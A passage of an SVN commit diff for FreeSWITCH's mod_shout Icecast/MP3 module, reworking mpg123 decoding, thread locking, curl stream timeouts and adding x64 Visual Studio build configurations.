-	cd $(MPG123_DIR) && CFLAGS=$(AM_CFLAGS) ./configure --disable-shared --with-pic CPPFLAGS= LDFLAGS=
+	cd $(MPG123_DIR) && CFLAGS=$(AM_CFLAGS) CC=$(CC) CXX=$(CXX) ./configure --disable-shared --with-pic CPPFLAGS= LDFLAGS=
 	$(TOUCH_TARGET)
 
 $(MPG123LA): $(MPG123_DIR)/Makefile
@@ -41,7 +41,7 @@
 	$(GETLIB) $(LAME).tar.gz
 
 $(LAME_DIR)/Makefile: $(LAME_DIR)
-	cd $(LAME_DIR) && ./configure $(DEFAULT_ARGS) --disable-decoder CPPFLAGS= LDFLAGS=
+	cd $(LAME_DIR) && CC=$(CC) CXX=$(CXX) ./configure $(DEFAULT_ARGS) --disable-decoder CPPFLAGS= LDFLAGS=
 	$(TOUCH_TARGET)
 
 $(LAMELA): $(LAME_DIR)/Makefile
@@ -52,7 +52,7 @@
 	$(GETLIB) $(SHOUT).tar.gz
 
 $(SHOUT_DIR)/Makefile: $(SHOUT_DIR)
-	cd $(SHOUT_DIR) && ./configure $(DEFAULT_ARGS) --without-speex --without-vorbis --without-ogg CPPFLAGS= LDFLAGS=
+	cd $(SHOUT_DIR) && CC=$(CC) CXX=$(CXX) ./configure $(DEFAULT_ARGS) --without-speex --without-vorbis --without-ogg CPPFLAGS= LDFLAGS=
 	$(TOUCH_TARGET)
 
 $(SHOUTLA): $(SHOUT_DIR)/Makefile

Modified: freeswitch/branches/seven/src/mod/formats/mod_shout/mod_shout.c (14471 => 14472)


--- freeswitch/branches/seven/src/mod/formats/mod_shout/mod_shout.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/formats/mod_shout/mod_shout.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /* 
  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
  *
  * Version: MPL 1.1
  *
@@ -17,13 +17,15 @@
  * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
  *
  * The Initial Developer of the Original Code is
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *
  * Contributor(s):
  * 
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
+ * Rupa Schomaker <rupa@rupa.com>
+ * John Wehle <john@feith.com>
  *
  * mod_shout.c -- Icecast Module
  *
@@ -96,6 +98,7 @@
 
 struct shout_context {
 	shout_t *shout;
+	char curl_error_buff[CURL_ERROR_SIZE];
 	lame_global_flags *gfp;
 	char *stream_url;
 	switch_mutex_t *audio_mutex;
@@ -107,9 +110,8 @@
 	int err;
 	int mp3err;
 	int dlen;
-	switch_file_t *fd;
 	FILE *fp;
-	int samplerate;
+	size_t samplerate;
 	uint8_t thread_running;
 	uint8_t shout_init;
 	uint32_t prebuf;
@@ -122,24 +124,40 @@
 	switch_size_t rlen;
 	unsigned char *mp3buf;
 	switch_size_t mp3buflen;
+	switch_thread_rwlock_t *rwlock;
 };
 
 typedef struct shout_context shout_context_t;
 
-static size_t decode_fd(shout_context_t *context, void *data, size_t bytes);
+static void decode_fd(shout_context_t *context, void *data, size_t bytes);
 
 static inline void free_context(shout_context_t *context)
 {
 	int ret;
 
 	if (context) {
+		switch_mutex_lock(context->audio_mutex);
 		context->err++;
+		switch_mutex_unlock(context->audio_mutex);
 
-		if (context->fd) {
-			switch_file_close(context->fd);
-			context->fd = NULL;
+		if (context->stream_url) {
+			int sanity = 0;
+
+			while (context->thread_running) {
+				switch_yield(500000);
+				if (++sanity > 10) {
+					break;
+				}
+			}
 		}
 
+		switch_thread_rwlock_wrlock(context->rwlock);
+
+		if (context->mh) {
+			mpg123_close(context->mh);
+			mpg123_delete(context->mh);
+		}
+		
 		if (context->fp) {
 			unsigned char mp3buffer[8192];
 			int len;
@@ -169,12 +187,6 @@
 			context->fp = NULL;
 		}
 
-		if (context->audio_buffer) {
-			switch_mutex_lock(context->audio_mutex);
-			switch_buffer_destroy(&context->audio_buffer);
-			switch_mutex_unlock(context->audio_mutex);
-		}
-
 		if (context->shout) {
 			shout_close(context->shout);
 			context->shout = NULL;
@@ -185,22 +197,14 @@
 			context->gfp = NULL;
 		}
 
-		if (context->stream_url) {
-			int sanity = 0;
-
-			while (context->thread_running) {
-				switch_yield(500000);
-				if (++sanity > 10) {
-					break;
-				}
-			}
-
-			
+		if (context->audio_buffer) {
+			switch_buffer_destroy(&context->audio_buffer);
 		}
 
-		if (context->mh) {
-			mpg123_delete(context->mh);
-		}
+		switch_mutex_destroy(context->audio_mutex);
+
+		switch_thread_rwlock_unlock(context->rwlock);
+		switch_thread_rwlock_destroy(context->rwlock);
 	}
 }
 
@@ -282,213 +286,101 @@
 	}
 }
 
-static size_t decode_fd(shout_context_t *context, void *data, size_t bytes)
+static void decode_fd(shout_context_t *context, void *data, size_t bytes)
 {
 	int decode_status = 0;
-	size_t dlen = 0;
-	int x = 0;
-	unsigned char *in;
-	int inlen = 0;
-	unsigned char *out;
-	int outlen;
-	int usedlen;
-	unsigned char inbuf[MP3_SCACHE];
-	int done = 0;
-	size_t used;
-	size_t lp;
-	size_t rb = 0;
+	size_t usedlen;
 	
-	while (context->eof < 2 && switch_buffer_inuse(context->audio_buffer) < bytes) {
-		lp = sizeof(inbuf);
-		if (!context->eof && ((switch_file_read(context->fd, inbuf, &lp) != SWITCH_STATUS_SUCCESS) || lp == 0)) {
-			context->eof++;
-		}
-
-		inlen = (int) lp;
-		in = inbuf;
-
-		out = context->decode_buf;
-		outlen = (int) sizeof(context->decode_buf);
+	while (!context->err && !context->eof && switch_buffer_inuse(context->audio_buffer) < bytes) {
 		usedlen = 0;
-		x = 0;
 
-		if (lp < bytes) {
-			done = 1;
-		}
-		
-		do {
-			if (context->eof) {
-				decode_status = mpg123_read(context->mh, out, outlen, &dlen);
-			} else {
-				decode_status = mpg123_decode(context->mh, in, inlen, out, outlen, &dlen);
-			}
+		decode_status = mpg123_read(context->mh, context->decode_buf, sizeof(context->decode_buf), &usedlen);
 
-			if (context->err) {
+		if (decode_status == MPG123_NEW_FORMAT) {
+			continue;
+		} else if (decode_status == MPG123_OK) {
+			;
+		} else if (decode_status == MPG123_DONE || decode_status == MPG123_NEED_MORE) {
+			context->eof++;
+		} else if (decode_status == MPG123_ERR || decode_status > 0) {
+			if (++context->mp3err >= 5) {
+				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Decoder Error!\n");
+				context->eof++;
 				goto error;
 			}
-
-			if (!x) {
-				in = NULL;
-				inlen = 0;
-				x++;
-			}
-
-			if (decode_status == MPG123_NEW_FORMAT) {
-				continue;
-			} else if (decode_status == MPG123_OK) {
-				usedlen = dlen;
-				break;
-			} else if (decode_status == MPG123_DONE || (context->eof && decode_status == MPG123_NEED_MORE)) {
-				context->eof++;
-				goto end;
-			} else if (decode_status == MPG123_ERR || decode_status > 0) {
-				if (++context->mp3err >= 5) {
-					switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Decoder Error!\n");
-					context->eof++;
-					goto end;
-				}
-				continue;
-			}
-
-			context->mp3err = 0;
-			
-			usedlen += dlen;
-			out += dlen;
-			outlen -= dlen;
-			dlen = 0;
-
-
-		} while (decode_status != MPG123_NEED_MORE);
-
-		if (context->audio_buffer) {
-			switch_buffer_write(context->audio_buffer, context->decode_buf, usedlen);
-		} else {
-			goto error;
+			continue;
 		}
 
-		if (done) {
-			break;
-		}
-	}
+		context->mp3err = 0;
 
-  end:
-	
-	used = switch_buffer_inuse(context->audio_buffer);
-
-	if (context->eof || done || used >= bytes) {
-		if (!(rb = switch_buffer_read(context->audio_buffer, data, bytes))) {
-			goto error;
-		}
-		return rb;
+		switch_buffer_write(context->audio_buffer, context->decode_buf, usedlen);
 	}
 
-	return 0;
+	return;
 
   error:
 	switch_mutex_lock(context->audio_mutex);
 	context->err++;
 	switch_mutex_unlock(context->audio_mutex);
-	return 0;
 }
 
-#define error_check() if (context->err) goto error;
-
 static size_t stream_callback(void *ptr, size_t size, size_t nmemb, void *data)
 {
 	register unsigned int realsize = (unsigned int) (size * nmemb);
 	shout_context_t *context = data;
 	int decode_status = 0;
-	size_t dlen = 0;
-	int x = 0;
-	unsigned char *in;
-	int inlen;
-	unsigned char *out;
-	int outlen;
-	int usedlen;
-	uint32_t used, buf_size = 1024 * 64;
-	
-	in = ptr;
-	inlen = realsize;
-	out = context->decode_buf;
-	outlen = sizeof(context->decode_buf);
-	usedlen = 0;
+	size_t usedlen;
+	uint32_t used, buf_size = 1024 * 128; /* do not make this 64 or less, stutter will ensue after 
+	                                         first 64k buffer is dry */
 
-	error_check();
-
 	if (context->prebuf) {
 		buf_size = context->prebuf;
 	}
 
 	/* make sure we aren't over zealous by slowing down the stream when the buffer is too full */
-	for (;;) {
-		error_check();
-
+	while (!context->err) {
 		switch_mutex_lock(context->audio_mutex);
-		if (!context->audio_buffer) {
-			context->err++;
-			break;
-		}
-
 		used = switch_buffer_inuse(context->audio_buffer);
 		switch_mutex_unlock(context->audio_mutex);
 
 		if (used < buf_size) {
-			//switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Buffered %u/%u!\n", used, buf_size);
+			/* switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Buffered %u/%u!\n", used, buf_size); */
 			break;
 		}
 
 		switch_yield(500000);
 	}
 
-	error_check();
+	if (mpg123_feed(context->mh, ptr, realsize) != MPG123_OK) {
+		goto error;
+	}
 
 	do {
-		decode_status = mpg123_decode(context->mh, in, inlen, out, outlen, &dlen);
+		usedlen = 0;
 
-		error_check();
+		decode_status = mpg123_read(context->mh, context->decode_buf, sizeof(context->decode_buf), &usedlen);
 
-		if (!x) {
-			in = NULL;
-			inlen = 0;
-			x++;
-		}
-
 		if (decode_status == MPG123_NEW_FORMAT) {
 			continue;
-		} else if (decode_status == MPG123_OK) {
-			usedlen = dlen;
-			break;
-		} else if (decode_status == MPG123_ERR) {
-
-			if (++context->mp3err >= 20) {
+		} else if (decode_status == MPG123_OK || decode_status == MPG123_NEED_MORE) {
+			;
+		} else if (decode_status == MPG123_DONE) {
+			context->eof++;
+		} else if (decode_status == MPG123_ERR || decode_status > 0) {
+			if (++context->mp3err >= 5) {
 				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Decoder Error!\n");
+				context->eof++;
 				goto error;
 			}
-
-			mpg123_delete(context->mh);
-			context->mh = our_mpg123_new(NULL, NULL);
-			mpg123_open_feed(context->mh);
-			mpg123_param(context->mh, MPG123_FORCE_RATE, context->samplerate, 0);
-			mpg123_param(context->mh, MPG123_FLAGS, MPG123_MONO_MIX, 0);
-			mpg123_param(context->mh, MPG123_FLAGS, MPG123_SEEKBUFFER|MPG123_MONO_MIX, 0);
-			return realsize;
+			continue;
 		}
 
 		context->mp3err = 0;
-		usedlen += dlen;
-		out += dlen;
-		outlen -= dlen;
-		dlen = 0;
-	} while (decode_status != MPG123_NEED_MORE);
 
-
-	switch_mutex_lock(context->audio_mutex);
-	if (context->audio_buffer) {
+		switch_mutex_lock(context->audio_mutex);
 		switch_buffer_write(context->audio_buffer, context->decode_buf, usedlen);
-	} else {
-		goto error;
-	}
-	switch_mutex_unlock(context->audio_mutex);
+		switch_mutex_unlock(context->audio_mutex);
+	} while (!context->err && !context->eof && decode_status != MPG123_NEED_MORE);
 
 	return realsize;
 
@@ -505,7 +397,10 @@
 static void *SWITCH_THREAD_FUNC read_stream_thread(switch_thread_t *thread, void *obj)
 {
 	CURL *curl_handle = NULL;
+	CURLcode cc;
 	shout_context_t *context = (shout_context_t *) obj;
+	
+	switch_thread_rwlock_rdlock(context->rwlock);
 
 	curl_handle = curl_easy_init();
 	curl_easy_setopt(curl_handle, CURLOPT_URL, context->stream_url);
@@ -514,13 +409,21 @@
 	curl_easy_setopt(curl_handle, CURLOPT_WRITEFUNCTION, stream_callback);
 	curl_easy_setopt(curl_handle, CURLOPT_WRITEDATA, (void *) context);
 	curl_easy_setopt(curl_handle, CURLOPT_USERAGENT, "FreeSWITCH(mod_shout)/1.0");
-	curl_easy_perform(curl_handle);
+	curl_easy_setopt(curl_handle, CURLOPT_NOSIGNAL, 1);
+	curl_easy_setopt(curl_handle, CURLOPT_CONNECTTIMEOUT, 30); /* eventually timeout connect */
+	curl_easy_setopt(curl_handle, CURLOPT_LOW_SPEED_LIMIT, 100); /* handle trickle connections */
+	curl_easy_setopt(curl_handle, CURLOPT_LOW_SPEED_TIME, 30);
+	curl_easy_setopt(curl_handle, CURLOPT_ERRORBUFFER, context->curl_error_buff);
+	cc = curl_easy_perform(curl_handle);
+	if (cc && cc != CURLE_WRITE_ERROR) { /* write error is ok, we just exited from callback early */
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "CURL returned error:[%d] %s : %s [%s]\n", cc, curl_easy_strerror(cc), context->curl_error_buff, context->stream_url);
+	}
 	curl_easy_cleanup(curl_handle);
-	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Thread Done\n");
-	switch_mutex_lock(context->audio_mutex);
-	context->err++;
-	switch_mutex_unlock(context->audio_mutex);
+	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Read Thread Done\n");
+
+	context->eof++;
 	context->thread_running = 0;
+	switch_thread_rwlock_unlock(context->rwlock);
 	return NULL;
 }
 
@@ -528,22 +431,44 @@
 {
 	switch_thread_t *thread;
 	switch_threadattr_t *thd_attr = NULL;
+	int sanity = 10;
+	size_t used;
 
-	if (context->err) {
-		return;
-	}
-
 	context->thread_running = 1;
 	switch_threadattr_create(&thd_attr, context->memory_pool);
 	switch_threadattr_detach_set(thd_attr, 1);
 	switch_threadattr_stacksize_set(thd_attr, SWITCH_THREAD_STACKSIZE);
 	switch_thread_create(&thread, thd_attr, read_stream_thread, context, context->memory_pool);
+
+	while (context->thread_running && --sanity) {
+		/* at least 1s of audio and up to 5s initialize */
+		switch_mutex_lock(context->audio_mutex);
+		used = switch_buffer_inuse(context->audio_buffer);
+		switch_mutex_unlock(context->audio_mutex);
+
+		if (used >= (2 * context->samplerate)) {
+			 break;
+		}
+
+		switch_yield(500000);
+	}
 }
 
+#define error_check() if (context->err) goto error;
+
 static void *SWITCH_THREAD_FUNC write_stream_thread(switch_thread_t *thread, void *obj)
 {
 	shout_context_t *context = (shout_context_t *) obj;
 
+	switch_thread_rwlock_rdlock(context->rwlock);
+
+	if (context->thread_running) {
+		context->thread_running++;
+	} else {
+		switch_thread_rwlock_unlock(context->rwlock);
+		return NULL;
+	}
+
 	if (!context->lame_ready) {
 		lame_init_params(context->gfp);
 		lame_print_config(context->gfp);
@@ -611,7 +536,8 @@
 	}
 
   error:
-	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Thread Done\n");
+	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Write Thread Done\n");
+	switch_thread_rwlock_unlock(context->rwlock);
 	context->thread_running = 0;
 	return NULL;
 }
@@ -620,6 +546,7 @@
 {
 	switch_thread_t *thread;
 	switch_threadattr_t *thd_attr = NULL;
+	int sanity = 10;
 
 	if (context->err) {
 		return;
@@ -630,6 +557,11 @@
 	switch_threadattr_detach_set(thd_attr, 1);
 	switch_threadattr_stacksize_set(thd_attr, SWITCH_THREAD_STACKSIZE);
 	switch_thread_create(&thread, thd_attr, write_stream_thread, context, context->memory_pool);
+
+	while (context->thread_running && context->thread_running != 2) {
+		switch_yield(100000);
+		if (!--sanity) break;
+	}
 }
 
 #define TC_BUFFER_SIZE 1024 * 32
@@ -652,32 +584,40 @@
 	context->memory_pool = handle->memory_pool;
 	context->samplerate = handle->samplerate;
 	context->handle = handle;
+	
+	switch_thread_rwlock_create(&(context->rwlock), context->memory_pool);
+	
+	switch_thread_rwlock_rdlock(context->rwlock);
 
+	switch_mutex_init(&context->audio_mutex, SWITCH_MUTEX_NESTED, context->memory_pool);
+
 	if (switch_test_flag(handle, SWITCH_FILE_FLAG_READ)) {
 		if (switch_buffer_create_dynamic(&context->audio_buffer, TC_BUFFER_SIZE, TC_BUFFER_SIZE * 2, 0) != SWITCH_STATUS_SUCCESS) {
 			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Memory Error!\n");
 			goto error;
 		}
 
-		switch_mutex_init(&context->audio_mutex, SWITCH_MUTEX_NESTED, context->memory_pool);
 		context->mh = our_mpg123_new(NULL, NULL);
-		mpg123_open_feed(context->mh);
 		mpg123_format_all(context->mh);
 		mpg123_param(context->mh, MPG123_FORCE_RATE, context->samplerate, 0);		
 
 		if (handle->handler) {
 			mpg123_param(context->mh, MPG123_FLAGS, MPG123_SEEKBUFFER|MPG123_MONO_MIX, 0);
+			if (mpg123_open_feed(context->mh) != MPG123_OK) {
+				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Error opening mpg feed\n");
+				goto error;
+			}
 			context->stream_url = switch_core_sprintf(context->memory_pool, "http://%s", path);
 			context->prebuf = handle->prebuf;
 			launch_read_stream_thread(context);
 		} else {
+			handle->seekable = 1;
 			mpg123_param(context->mh, MPG123_FLAGS, MPG123_MONO_MIX, 0);
-			if (switch_file_open(&context->fd, path, SWITCH_FOPEN_READ, SWITCH_FPROT_UREAD | SWITCH_FPROT_UWRITE, handle->memory_pool) != 
-				SWITCH_STATUS_SUCCESS) {
+			if (mpg123_open(context->mh, path) != MPG123_OK) {
 				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Error opening %s\n", path);
 				goto error;
 			}
-			
+
 		}
 	} else if (switch_test_flag(handle, SWITCH_FILE_FLAG_WRITE)) {
 		if (!(context->gfp = lame_init())) {
@@ -713,7 +653,6 @@
 				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Memory Error!\n");
 				goto error;
 			}
-			switch_mutex_init(&context->audio_mutex, SWITCH_MUTEX_NESTED, context->memory_pool);
 			lame_set_bWriteVbrTag(context->gfp, 0);
 			lame_mp3_tags_fid(context->gfp, NULL);
 
@@ -804,11 +743,10 @@
 			}
 
 		} else {
-			handle->seekable = 1;
 			/* lame being lame and all has FILE * coded into it's API for some functions so we gotta use it */
 			if (!(context->fp = fopen(path, "wb+"))) {
 				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Error opening %s\n", path);
-				return SWITCH_STATUS_GENERR;
+				goto error;
 			}
 		}
 	}
@@ -818,10 +756,12 @@
 	handle->sections = 0;
 	handle->speed = 0;
 	handle->private_info = context;
+	switch_thread_rwlock_unlock(context->rwlock);
 
 	return SWITCH_STATUS_SUCCESS;
 
   error:
+	switch_thread_rwlock_unlock(context->rwlock);
 	if (err) {
 		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Error: %s\n", err);
 	}
@@ -843,60 +783,54 @@
 {
 	shout_context_t *context = handle->private_info;
 
-	if (handle->handler) {
+	if (handle->handler || switch_test_flag(handle, SWITCH_FILE_FLAG_WRITE)) {
 		return SWITCH_STATUS_FALSE;
 	} else {
-		switch_mutex_lock(context->audio_mutex);
-		if (context->audio_buffer) {
-			if (context->fd) {
-				switch_file_seek(context->fd, whence, &samples);
-			} else if (context->fp) {
-				*cur_sample = fseek(context->fp, *cur_sample, whence);
-			}
+		if (whence == SWITCH_SEEK_CUR) {
+			samples -= switch_buffer_inuse(context->audio_buffer) / sizeof(int16_t);
+		}
 
-			mpg123_delete(context->mh);
-			context->mh = our_mpg123_new(NULL, NULL);
-			mpg123_open_feed(context->mh);
-			mpg123_param(context->mh, MPG123_FORCE_RATE, context->samplerate, 0);
-			mpg123_param(context->mh, MPG123_FLAGS, MPG123_MONO_MIX, 0);
-			switch_buffer_zero(context->audio_buffer);
+		switch_buffer_zero(context->audio_buffer);
+		*cur_sample = mpg123_seek (context->mh, (off_t)samples, whence);
 
-		} else {
-			context->err++;
-		}
-		switch_mutex_unlock(context->audio_mutex);
-		return SWITCH_STATUS_SUCCESS;
+		return *cur_sample >= 0 ? SWITCH_STATUS_SUCCESS : SWITCH_STATUS_FALSE;
 	}
 }
 
 static switch_status_t shout_file_read(switch_file_handle_t *handle, void *data, size_t *len)
 {
 	shout_context_t *context = handle->private_info;
-	size_t rb = 0, bytes = *len * sizeof(int16_t);
+	size_t rb = 0, bytes = *len * sizeof(int16_t), newbytes = 0;
 
 	*len = 0;
 
-	if (context->fd) {
-		rb = decode_fd(context, data, bytes);
-	} else {
-		switch_mutex_lock(context->audio_mutex);
-		if (context->audio_buffer) {
-			rb = switch_buffer_read(context->audio_buffer, data, bytes);
-		} else {
-			switch_mutex_lock(context->audio_mutex);
-			context->err++;
-			switch_mutex_unlock(context->audio_mutex);
-		}
-		switch_mutex_unlock(context->audio_mutex);
+	if (!context) {
+		return SWITCH_STATUS_FALSE;
 	}
 
-	if (context->err) {
+	if (!handle->handler)
+		decode_fd(context, data, bytes);
+
+	switch_mutex_lock(context->audio_mutex);
+	rb = switch_buffer_read(context->audio_buffer, data, bytes);
+	switch_mutex_unlock(context->audio_mutex);
+
+	if (!rb && (context->eof || context->err)) {
 		return SWITCH_STATUS_FALSE;
 	}
-
+	
+	/* switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "rb: %d, bytes: %d\n", (int) rb, (int) bytes); */
+	
 	if (rb) {
 		*len = rb / sizeof(int16_t);
 	} else {
+		/* no data, so insert 1 second of silence */
+		newbytes = 2 * handle->samplerate;
+		if(newbytes < bytes) {
+			bytes = newbytes;
+		}
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Padding mp3 stream with 1s of empty audio. (%s)\n", context->stream_url);
+		
 		memset(data, 255, bytes);
 		*len = bytes / sizeof(int16_t);
 	}
@@ -923,7 +857,16 @@
 		return SWITCH_STATUS_FALSE;
 	}
 
+	if (context->err) {
+		return SWITCH_STATUS_FALSE;
+	}
+
 	if (context->shout && !context->shout_init) {
+
+		if (!context->gfp) {
+			return SWITCH_STATUS_FALSE;
+		}
+
 		context->shout_init++;
 		if (shout_open(context->shout) != SHOUTERR_SUCCESS) {
 			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Error opening stream: %s\n", shout_get_error(context->shout));
@@ -1030,7 +973,7 @@
 			id3tag_set_genre(context->gfp, string);
 			break;
 		default:
-			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Value Ignored\n");
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Value Ignored %d, %s\n", col, string);
 			break;
 		}
 
@@ -1060,7 +1003,7 @@
 		}
 		break;
 	default:
-		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Value Ignored\n");
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Value Ignored %d, %s\n", col, string);
 		break;
 	}
 
@@ -1088,7 +1031,7 @@
 		break;
 	case SWITCH_ABC_TYPE_READ_PING:
 		if (buffer) {
-			if (switch_core_media_bug_read(bug, &frame) == SWITCH_STATUS_SUCCESS) {
+			if (switch_core_media_bug_read(bug, &frame, SWITCH_TRUE) == SWITCH_STATUS_SUCCESS) {
 				switch_buffer_lock(buffer);
 				switch_buffer_write(buffer, frame.data, frame.datalen);
 				switch_buffer_unlock(buffer);
@@ -1178,17 +1121,21 @@
 		switch_mutex_t *mutex;
 		switch_channel_t *channel = switch_core_session_get_channel(tsession);
 		lame_global_flags *gfp = NULL;
-		switch_codec_t *read_codec;
+		switch_codec_implementation_t read_impl = {0};
+		switch_core_session_get_read_impl(tsession, &read_impl);
 
+		if (switch_channel_test_flag(channel, CF_PROXY_MODE)) {
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Stepping into media path so this will work!\n");
+			switch_ivr_media(uuid, SMF_REBRIDGE);
+		}
+
 		if (!(gfp = lame_init())) {
 			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Could not allocate lame\n");
 			goto end;
 		}
-		read_codec = switch_core_session_get_read_codec(tsession);
-
-		lame_set_num_channels(gfp, read_codec->implementation->number_of_channels);
-		lame_set_in_samplerate(gfp, read_codec->implementation->actual_samples_per_second);
-		lame_set_brate(gfp, 16 * (read_codec->implementation->actual_samples_per_second / 8000) * read_codec->implementation->number_of_channels);
+		lame_set_num_channels(gfp, read_impl.number_of_channels);
+		lame_set_in_samplerate(gfp, read_impl.actual_samples_per_second);
+		lame_set_brate(gfp, 16 * (read_impl.actual_samples_per_second / 8000) * read_impl.number_of_channels);
 		lame_set_mode(gfp, 3);
 		lame_set_quality(gfp, 2);
 		lame_set_errorf(gfp, log_error);

Modified: freeswitch/branches/seven/src/mod/formats/mod_shout/mod_shout.vcproj (14471 => 14472)


--- freeswitch/branches/seven/src/mod/formats/mod_shout/mod_shout.vcproj	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/formats/mod_shout/mod_shout.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -11,14 +11,15 @@
 		<Platform
 			Name="Win32"
 		/>
+		<Platform
+			Name="x64"
+		/>
 	</Platforms>
 	<ToolFiles>
 	</ToolFiles>
 	<Configurations>
 		<Configuration
 			Name="Debug|Win32"
-			OutputDirectory="$(SolutionDir)$(ConfigurationName)"
-			IntermediateDirectory="$(ConfigurationName)"
 			ConfigurationType="2"
 			InheritedPropertySheets="..\..\..\..\w32\module_debug.vsprops"
 			CharacterSet="2"
@@ -89,9 +90,80 @@
 			/>
 		</Configuration>
 		<Configuration
+			Name="Debug|x64"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_debug.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="0"
+				AdditionalIncludeDirectories="../../../../libs/curl/include;&quot;../../../../libs/lame-3.97/include&quot;;..\..\..\..\libs\win32\libshout;&quot;..\..\..\..\libs\libshout-2.2.2\include&quot;;..\..\..\..\libs\mpg123\src;..\..\..\..\libs\win32\mpg123"
+				PreprocessorDefinitions="CURL_STATICLIB"
+				MinimalRebuild="true"
+				BasicRuntimeChecks="3"
+				RuntimeLibrary="3"
+				WarningLevel="3"
+				WarnAsError="false"
+				DebugInformationFormat="3"
+				EnablePREfast="false"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				OutputFile="$(SolutionDir)$(PlatformName)\$(ConfigurationName)/mod/$(ProjectName).dll"
+				IgnoreDefaultLibraryNames="LIBCMTD.LIB;LIBCMT.LIB"
+				GenerateDebugInformation="true"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
 			Name="Release|Win32"
-			OutputDirectory="$(SolutionDir)$(ConfigurationName)"
-			IntermediateDirectory="$(ConfigurationName)"
 			ConfigurationType="2"
 			InheritedPropertySheets="..\..\..\..\w32\module_release.vsprops"
 			CharacterSet="2"
@@ -164,6 +236,82 @@
 				Name="VCPostBuildEventTool"
 			/>
 		</Configuration>
+		<Configuration
+			Name="Release|x64"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_release.vsprops"
+			CharacterSet="2"
+			WholeProgramOptimization="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="2"
+				EnableIntrinsicFunctions="true"
+				AdditionalIncludeDirectories="../../../../libs/curl/include;&quot;../../../../libs/lame-3.97/include&quot;;..\..\..\..\libs\win32\libshout;&quot;..\..\..\..\libs\libshout-2.2.2\include&quot;;..\..\..\..\libs\mpg123\src;..\..\..\..\libs\win32\mpg123"
+				PreprocessorDefinitions="CURL_STATICLIB"
+				RuntimeLibrary="2"
+				EnableFunctionLevelLinking="true"
+				WarningLevel="3"
+				WarnAsError="false"
+				DebugInformationFormat="3"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
